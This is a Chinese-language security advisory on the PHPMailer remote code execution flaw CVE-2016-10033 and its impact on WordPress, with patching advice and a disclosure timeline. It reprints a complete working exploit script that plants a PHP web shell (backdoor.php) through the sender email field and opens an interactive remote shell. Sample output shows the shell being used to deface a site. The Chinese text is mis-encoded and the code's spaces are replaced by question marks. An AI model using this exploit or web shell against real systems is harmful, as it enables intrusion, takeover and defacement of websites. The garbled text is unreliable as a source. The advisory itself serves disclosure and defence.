本文原創(chuàng)作者:overXsky
來(lái)源:安全客
起因
近日,波蘭研究人員?Dawid Golunski?發(fā)現(xiàn)了一個(gè)存在于PHPMailer中的嚴(yán)重遠(yuǎn)程代碼執(zhí)行漏洞。該漏洞在昨天的legalhackers.com上公布,但漏洞利用細(xì)節(jié)的概念驗(yàn)證并未包括在內(nèi)。
不幸的是在幾個(gè)小時(shí)前,有人向exploit-db和github發(fā)布了一個(gè)概念驗(yàn)證,演示了如何在PHPMailer庫(kù)中利用此漏洞,但是出于安全考慮并不針對(duì)任何一個(gè)正在投入使用中的Web應(yīng)用程序。
我們正在著手準(zhǔn)備發(fā)布這個(gè)原本在計(jì)劃之外的更新,以便向PHP開(kāi)發(fā)人員和我們的社區(qū)提前警告這個(gè)問(wèn)題。因?yàn)槲覀児烙?jì)隨著更多開(kāi)發(fā)人員和心懷不軌的人查看到上面的概念驗(yàn)證代碼后會(huì)導(dǎo)致這個(gè)事件持續(xù)醞釀。
PHPMailer是WordPress中用來(lái)發(fā)送電子郵件的核心部分。 你可以在wp-includes / class-smtp.php核心文件中找到代碼。
不要驚慌
注意:無(wú)論對(duì)于WordPress的核心還是任何WordPress主題或插件, 目前尚沒(méi)有公開(kāi)可行的漏洞利用代碼。我們看到的唯一漏洞利用是研究人員針對(duì)他們自己的應(yīng)用程序進(jìn)行了驗(yàn)證,以此表明PHPMailer中存在此漏洞。 (詳情如下)
請(qǐng)不要聯(lián)系WordPress核心團(tuán)隊(duì)、WordPress論壇版主或其他任何人,告訴他們“你的WordPress網(wǎng)站將被利用”,這將引起不必要的恐慌。這項(xiàng)研究目前仍在進(jìn)行中,我們讓您提前意識(shí)到這個(gè)問(wèn)題主要有兩個(gè)原因:
1. 從用戶的角度來(lái)講,一旦解決方案發(fā)布,就可以準(zhǔn)備升級(jí)WordPress核心和任何其他受影響的主題和插件。
2. 從開(kāi)發(fā)者的角度來(lái)講,如果他采用了這個(gè)版本的包含漏洞的PHPMailer,就可以開(kāi)始著手修補(bǔ)代碼,以便盡快發(fā)布給用戶。
漏洞細(xì)節(jié)
如果你不熟悉RCE漏洞,那么這將是最糟糕的情況。在WordPress的歷史上所有嚴(yán)重的漏洞都是遠(yuǎn)程代碼執(zhí)行漏洞,它們?cè)试S攻擊者在受害者網(wǎng)站上執(zhí)行自己的代碼從而控制整個(gè)網(wǎng)站。
我們對(duì)PHPMailer中受影響的代碼進(jìn)行了簡(jiǎn)要分析。 為了利用此漏洞,攻擊者似乎需要能夠控制發(fā)件人的電子郵件地址。
PHPMailer中的弱點(diǎn)代碼和修復(fù)代碼的片段如下所示:
來(lái)源:GitHub
在這個(gè)包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,發(fā)件人的電子郵件地址在傳輸時(shí)沒(méi)有轉(zhuǎn)義為shell命令。如此一來(lái),攻擊者就可以在發(fā)件人的電子郵件中增加shell命令以便在目標(biāo)機(jī)器或網(wǎng)站上執(zhí)行惡意代碼。
PHPMailer的Docker復(fù)現(xiàn)環(huán)境(附POC): https://github.com/opsxcq/exploit-CVE-2016-10033
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#!/bin/bash #?CVE-2016-10033?exploit?by?opsxcq #?https://github.com/opsxcq/exploit-CVE-2016-10033 ? echo ?'[+]?CVE-2016-10033?exploit?by?opsxcq' ? if ?[?-z? "$1" ?] then ???? echo ?'[-]?Please?inform?an?host?as?parameter' ???? exit ?-1 fi ? host=$1 ? echo ?'[+]?Exploiting?' $host ? curl?-sq? 'http://' $host?-H? 'Content-Type:?multipart/form-data;?boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' ?--data-binary?$ '------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition:?form-data;?name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition:?form-data;?name="name"\r\n\r\n<?php?echo?"|".base64_encode(system(base64_decode($_GET["cmd"])))."|";??>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition:?form-data;?name="email"\r\n\r\nvulnerables@?-OQueueDirectory=/tmp?-X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition:?form-data;?name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' ?> /dev/null ?&&? echo ?'[+]?Target?exploited,?acessing?shell?at?http://' $host '/backdoor.php' ? cmd= 'whoami' while ?[? "$cmd" ?!=? 'exit' ?] do ???? echo ?'[+]?Running?' $cmd ???? curl?-sq?http: // $host /backdoor .php?cmd=$( echo ?- ne ?$cmd?|?base64)?|? grep ?'|' ?|? head ?-n?1?|? cut ?-d? '|' ?-f?2?|?base64?-d ???? echo ???? read ?-p? 'RemoteShell>?' ?cmd done echo ?'[+]?Exiting' |
To exploit this target just run:
1
|
. /exploit ?host:port |
If you are using this vulnerable image, you can just run:
1
|
. /exploit ?localhost:8080 |
After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:
1
2
3
4
5
6
7
8
|
. /exploit .sh?localhost:8080 [+]?CVE-2016-10033?exploit?by?opsxcq [+]?Exploiting?localhost:8080 [+]?Target?exploited,?acessing?shell?at?http: //localhost :8080 /backdoor .php [+]?Running? whoami www-data RemoteShell>? echo ?'Defaced' ?>? /www/index .php [+]?Running? echo ?'Defaced' ?>? /www/index .php |
PHPMailer驗(yàn)證截圖
如何應(yīng)對(duì)
我們會(huì)向訂閱者和客戶發(fā)郵件預(yù)警。WordPress核心團(tuán)隊(duì)目前正在開(kāi)發(fā)一個(gè)將包含在WordPress核心安全發(fā)布版本中的修復(fù)程序。尚沒(méi)有確切的發(fā)布時(shí)間,但會(huì)盡量在24小時(shí)之內(nèi)。
一旦發(fā)布,請(qǐng)盡快將WordPress核心進(jìn)行升級(jí)。
如果在你自己的PHP應(yīng)用、主題、插件中還在使用早于5.2.18版本的PHPMailer,請(qǐng)立即升級(jí)到PHPMailer 5.2.18或更高版本。
如果你是WordPress主題或插件開(kāi)發(fā)人員,并且在你的插件或主題代碼中包含了早期版本的PHPMailer拷貝,則需要立即更新到PHPMailer 5.2.18或更新版本并向客戶發(fā)布修訂。
漏洞歷程時(shí)間線
1. 前不久在WordPress核心中發(fā)布了一個(gè)問(wèn)題討論,其中包括了一個(gè)修補(bǔ)程序來(lái)解決這個(gè)問(wèn)題。它可以將使用PHPMailer 5.2.14的WP核心更新到5.2.19。但這只是一個(gè)建議的補(bǔ)丁,并不是官方的最終修復(fù)。
2. 你可以在github上找到解決PHPMailer中這個(gè)問(wèn)題的代碼變動(dòng),它們十分清楚地描述了問(wèn)題在于被發(fā)送到shell命令中的發(fā)送方電子郵件地址未轉(zhuǎn)義。
3. 概念漏洞的基本證明也已發(fā)布到exploit-db,其鏈接到在github上的此漏洞利用的更詳細(xì)的演示。研究人員已經(jīng)建立了一個(gè)包含此漏洞的Web應(yīng)用程序,然后為自己的應(yīng)用程序創(chuàng)建了一段利用代碼。這顯然不是一個(gè)真實(shí)世界的PoC,但它展示了PHPMailer的弱點(diǎn),并為真實(shí)世界的PoC鋪平了道路。
4. 發(fā)現(xiàn)這個(gè)漏洞的研究員的報(bào)告中顯示:
“研究人員還為流行的開(kāi)源應(yīng)用程序(部署在在互聯(lián)網(wǎng)上的一百多萬(wàn)臺(tái)服務(wù)器上)開(kāi)發(fā)了一個(gè)未經(jīng)認(rèn)證的RCE漏洞作為現(xiàn)實(shí)世界開(kāi)發(fā)的PoC。它可能在供應(yīng)商修復(fù)漏洞后再發(fā)布。
5. 這個(gè)問(wèn)題昨天發(fā)布到Hackaday和今天早些時(shí)候的The Hacker News。
6. 它正在Twitter上廣泛討論。[需要科學(xué)上網(wǎng)]
7. 它正在WP Slack?#forums和#core上被討論。 [需要登錄](méi)
8.?Hacker News上也在討論。
9. 它被發(fā)布到Reddit / r / netsec上,那里也在討論。
10. 我們期望它將在人們進(jìn)入工作日之后成為主流媒體的焦點(diǎn)。
原文地址:http://bobao.#/learning/detail/3347.html